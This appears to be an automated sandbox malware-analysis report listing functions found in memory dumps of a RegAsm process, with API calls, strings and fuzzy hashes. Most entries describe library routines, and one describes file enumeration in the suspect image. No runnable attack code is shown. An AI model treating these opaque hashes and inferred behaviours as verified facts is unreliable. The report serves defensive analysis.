Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: ae5f1b3e2620096eb9c30558e22921c0bb4a634b694d39b4fd7b717def22dde6
Instruction ID: 4537c7ee32a5c9682f0186fad000ce135a6aa73f18de29c072a350fbe1139f61
Opcode Fuzzy Hash: ae5f1b3e2620096eb9c30558e22921c0bb4a634b694d39b4fd7b717def22dde6
Instruction Fuzzy Hash: 20115C32F056C987EB048F68D9511FEB379DF46208B15911DEC05AB715EB30DA84C390

Function 6CB5CA10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?), ref: 6CB5CA26

Part of subcall function 6CB5CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CB5CB49
Part of subcall function 6CB5CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CB5CBB6

mozalloc_abort.MOZGLUE(?), ref: 6CB5CAA2

Strings

d, xrefs: 6CB5CA6C

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavemallocmozalloc_abort
String ID: d
API String ID: 3517139297-2564639436
Opcode ID: 86a153763eb43fc37864048fe6393aa8980f93e15e7b4c98c736e3a5d04ff730
Instruction ID: 716f085aacf81dea3f29afe5cc16cbf15c465dd07803cd1a151578a78962705b
Opcode Fuzzy Hash: 86a153763eb43fc37864048fe6393aa8980f93e15e7b4c98c736e3a5d04ff730
Instruction Fuzzy Hash: 1E110422E00AD897DB01EF68D8510FEB775EF9A208B859219DC45AB612FB31A6D4C390

Function 6CB83CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB83D19
mozalloc_abort.MOZGLUE(?), ref: 6CB83D6C

Strings

d, xrefs: 6CB83D58

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 2b512bbf9294815d5cbba92db9c58d9ee69664d6de9dbbd3c5d9eed95da87d01
Instruction ID: cc1b61a1eece93e44e65cf0e7a8f25b4f4514bfe4b535a78736ae96de42630bd
Opcode Fuzzy Hash: 2b512bbf9294815d5cbba92db9c58d9ee69664d6de9dbbd3c5d9eed95da87d01
Instruction Fuzzy Hash: 4C112331E056D8DBEB058B69C8154EEB775EF8A318B448218DC45AB602FB30A6C4C790

Function 6CB61A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

realloc.MOZGLUE(?,?), ref: 6CB61A6B

Part of subcall function 6CB61AF0: EnterCriticalSection.KERNEL32(?), ref: 6CB61C36

mozalloc_abort.MOZGLUE(?), ref: 6CB61AE7

Strings

d, xrefs: 6CB61AB1

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionmozalloc_abortrealloc
String ID: d
API String ID: 2670432147-2564639436
Opcode ID: dde7ee522920c711599079a206f44c9b58a20c10dc6c44cbd098afe2c098bc0a
Instruction ID: c08e82778ef4150347ed9d9d8a9d81aeec21037fbc218096e4123095b79f0008
Opcode Fuzzy Hash: dde7ee522920c711599079a206f44c9b58a20c10dc6c44cbd098afe2c098bc0a
Instruction Fuzzy Hash: 19113232E006C887DB04CBA9C8104FEB374EF85204F088619ED5AABA12EB30E6C4C390

Function 6CB54730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CB544B2,6CBCE21C,6CBCF7F8), ref: 6CB5473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CB5474A

Strings

GetNtLoaderAPI, xrefs: 6CB54744

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 04c3a3b8c9be006238de21e76de5fe71232fa91deea7b82e471b427d76e8d78f
Instruction ID: 10e888918b6fe6a5c71befcd6758fdbe34447586bf357c3e4783c9428e92aeac
Opcode Fuzzy Hash: 04c3a3b8c9be006238de21e76de5fe71232fa91deea7b82e471b427d76e8d78f
Instruction Fuzzy Hash: 38015E75301298DFDF00AFA6D89462D7BBDEB9F311B044469E905CB700DB74E9118F92

Function 6CBA6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CBA6E22
__Init_thread_footer.LIBCMT ref: 6CBA6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CBA6E1D

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: e1e30d96878d1ad1bddc5617bf5dc569dfc69e6c1b0fdd0cf94e82f80b43741b
Instruction ID: bef54521ad417ff47ecab9eef84406c411bfb22561ba9e245d58c20ef9c9a28d
Opcode Fuzzy Hash: e1e30d96878d1ad1bddc5617bf5dc569dfc69e6c1b0fdd0cf94e82f80b43741b
Instruction Fuzzy Hash: 36F0E9B57492C0DBDB109BECC854A957772D75B228F0401F5C8A547B51D721B60BCFA3

Function 6CB59E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CB59EEF

Strings

Infinity, xrefs: 6CB59EB7
NaN, xrefs: 6CB59EC1

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 5b9839dec56cf64b0e879bbe4256978267091097a0cc2c209cbc17ca64e70ddd
Instruction ID: 9a2ba42da566844b5c223fa89e51fa51b794f89eb37eee4cf635992fd14f31ed
Opcode Fuzzy Hash: 5b9839dec56cf64b0e879bbe4256978267091097a0cc2c209cbc17ca64e70ddd
Instruction Fuzzy Hash: F0F0AFB57002D1CBDB008F58D8457903371A34B32AF244AD4D9541BB40D735A65ACB92

Function 6CBA5900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6CBC51C8), ref: 6CBA591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6CBA592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6CBA5915

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: 0354c16694d43a7b92b394566a5d0c69329ec6fd59ff2341d5a244797e9ae55a
Instruction ID: d4bca5c3c3b377630c61cdef91f3b1ee16021f30ca3f6e99f1b8b814e0d99bb1
Opcode Fuzzy Hash: 0354c16694d43a7b92b394566a5d0c69329ec6fd59ff2341d5a244797e9ae55a
Instruction Fuzzy Hash: C6E0D8302086C0F7DB004BA8C50C7497FF4DB17739F108948E4E887AC1C3B16948C39A

Function 004136EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,?), ref: 00413445
StrCmpCA.SHLWAPI(?,00420F40), ref: 00413457
StrCmpCA.SHLWAPI(?,00420F44), ref: 0041346D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413777
FindClose.KERNEL32(000000FF), ref: 0041378C

Strings

18A, xrefs: 00413792

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: 18A
API String ID: 3840410801-3433864008
Opcode ID: 668e528d8eb8b4c8ce472f500e88cfe109d3146a7f0607bb4eb9076a2caf7a1f
Instruction ID: 37f096532bd63c7a6543046c1d18d9a97d222ba567e71f558b3b71d2575676c5
Opcode Fuzzy Hash: 668e528d8eb8b4c8ce472f500e88cfe109d3146a7f0607bb4eb9076a2caf7a1f
Instruction Fuzzy Hash: 26D05BB150410D5BCB20EF54EE589EE7339AF54355F0041C9F40E97150EB349B85CF95

Function 6CB5BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CB5BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CB5BEF5

Strings

cryptbase.dll, xrefs: 6CB5BEF0

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c15d6117410e6d6ace61cfec48663e5405f7e33ed4585836d108fa6a102332ac
Instruction ID: 23cbe556bbf71b3d27b5cd74478359915cae320f879744640a1adc5351e1e382
Opcode Fuzzy Hash: c15d6117410e6d6ace61cfec48663e5405f7e33ed4585836d108fa6a102332ac
Instruction Fuzzy Hash: 8DD023313C0148EBD7006F508C05F2D3774D709726F50C820F30545C51C7B09520CF45

Function 6CB450E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CB44E9C,?,?,?,?,?), ref: 6CB4510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CB44E9C,?,?,?,?,?), ref: 6CB45167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CB45196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CB44E9C), ref: 6CB45234

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 0b8ecaace30969f1b978b8d3bf25dcf8591e06ddf1505fe6ca45d0f4b476be2c
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 3391AF75909A96CFCB14CF08C490A5ABBA1FF89318B28C589EC585B719D731FC46CBE1

Function 6CB808F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBCE7DC), ref: 6CB80918
LeaveCriticalSection.KERNEL32(6CBCE7DC), ref: 6CB809A6
EnterCriticalSection.KERNEL32(6CBCE7DC,?,00000000), ref: 6CB809F3
LeaveCriticalSection.KERNEL32(6CBCE7DC), ref: 6CB80ACB

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ab4e0fb3a34406b161c084f8e459828aa824beb929da33fc1daf7c387082986c
Instruction ID: 0dee39d9e1b2143434a6f6b673c1626d11a5f1a4147270f6f177ff52bad7f1e6
Opcode Fuzzy Hash: ab4e0fb3a34406b161c084f8e459828aa824beb929da33fc1daf7c387082986c
Instruction Fuzzy Hash: FA514932703AD4CFEB089B59E44162E33B5EB86BA4B24413ADD7597F80DB30E90187D2

Function 6CBA59C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6CB7E56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6CBA5A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6CB7E56A,?,|UrlbarCSSSpan), ref: 6CBA5A5C
free.MOZGLUE(?), ref: 6CBA5A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6CBA5B9D

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: 14069569226f49127fa5da62c3f29c3052f31a812cd1f1ffdcf05447be7487d3
Instruction ID: a8339315fa3c8d2847f0acb12654a1174f52805b67898e531dfa9ffe774ed379
Opcode Fuzzy Hash: 14069569226f49127fa5da62c3f29c3052f31a812cd1f1ffdcf05447be7487d3
Instruction Fuzzy Hash: 41516D70608B809FD700CF69C8C071BBBE5FF89318F04896DE8899B646D774DA49CB66

Function 6CB9B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB9B2C9,?,?,?,6CB9B127,?,?,?,?,?,?,?,?,?,6CB9AE52), ref: 6CB9B628

Part of subcall function 6CB990E0: free.MOZGLUE(?,00000000,?,?,6CB9DEDB), ref: 6CB990FF
Part of subcall function 6CB990E0: free.MOZGLUE(?,00000000,?,?,6CB9DEDB), ref: 6CB99108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB9B2C9,?,?,?,6CB9B127,?,?,?,?,?,?,?,?,?,6CB9AE52), ref: 6CB9B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB9B2C9,?,?,?,6CB9B127,?,?,?,?,?,?,?,?,?,6CB9AE52), ref: 6CB9B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB9B127,?,?,?,?,?,?,?,?), ref: 6CB9B74D

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d7592f3f522850bdd247b6c94d11209e14a4b1b78bfd1cd545b88475d0d7ea4c
Instruction ID: 0b8ce65607dc403294b71140cc00bb86cab7ace9e9f1febf12b8369955036965
Opcode Fuzzy Hash: d7592f3f522850bdd247b6c94d11209e14a4b1b78bfd1cd545b88475d0d7ea4c
Instruction Fuzzy Hash: 1F51DE71A01256CFDB24CF58C98076EB7B6FF86304F15863DC85AAB700DB35A804CBA2

Function 6CB523D8 Relevance: 5.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 492f17b314f00f697569e5526e691494f1f04ae226b0bd8953ac839af6936907
Instruction ID: d4662e0c6a5f701231191739c1a54ca7192b5e31efa12fb96cf79e1333f71132
Opcode Fuzzy Hash: 492f17b314f00f697569e5526e691494f1f04ae226b0bd8953ac839af6936907
Instruction Fuzzy Hash: 1C51B1B1A02246CFDB04CF58C8C874ABBB1FF08318F598269D9199B781D771E9A1CF91

Function 6CB9DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB8FF2A), ref: 6CB9DFFD

Part of subcall function 6CB990E0: free.MOZGLUE(?,00000000,?,?,6CB9DEDB), ref: 6CB990FF
Part of subcall function 6CB990E0: free.MOZGLUE(?,00000000,?,?,6CB9DEDB), ref: 6CB99108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB8FF2A), ref: 6CB9E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB8FF2A), ref: 6CB9E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CB8FF2A), ref: 6CB9E0FE

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 6b83a567adf32d72dcaf2494d4d4a9e54c7b8023f8c4fd9e651890354ecd5241
Instruction ID: ae6b001ebaa0d36785bfcf1d8a23fd19106369f49c127d0478913282e3ff3896
Opcode Fuzzy Hash: 6b83a567adf32d72dcaf2494d4d4a9e54c7b8023f8c4fd9e651890354ecd5241
Instruction Fuzzy Hash: 0E41BFB16042968FEB14CF68C88175E77BAFB46308F244939D516DB740E732E904CBA2

Function 6CBA6180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CBA61DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CBA622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CBA6250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBA6292

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 7ad3e64efa21043f31860d2e7473e842fa263c8df2ee596ca403a85b6af13eb7
Instruction ID: a87688e645b40b167b2cf1a71bc52f46d01c975a38b9e164aa164b1a6ec60265
Opcode Fuzzy Hash: 7ad3e64efa21043f31860d2e7473e842fa263c8df2ee596ca403a85b6af13eb7
Instruction Fuzzy Hash: 9D3135B1B0464A8FDB04CF6CD880AAA73E9FF95308F108139C49AD7651EB31E699CB51

Function 6CB96E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CB96EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CB96EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB96F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB96F5C

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 823f1097f188652d38b8a24debe08bfb257051782df198581081f67171121edc
Instruction ID: 039bfbc44666d8bd374cac008b44743005458877740cf1c86f1c61dea52aa5ec
Opcode Fuzzy Hash: 823f1097f188652d38b8a24debe08bfb257051782df198581081f67171121edc
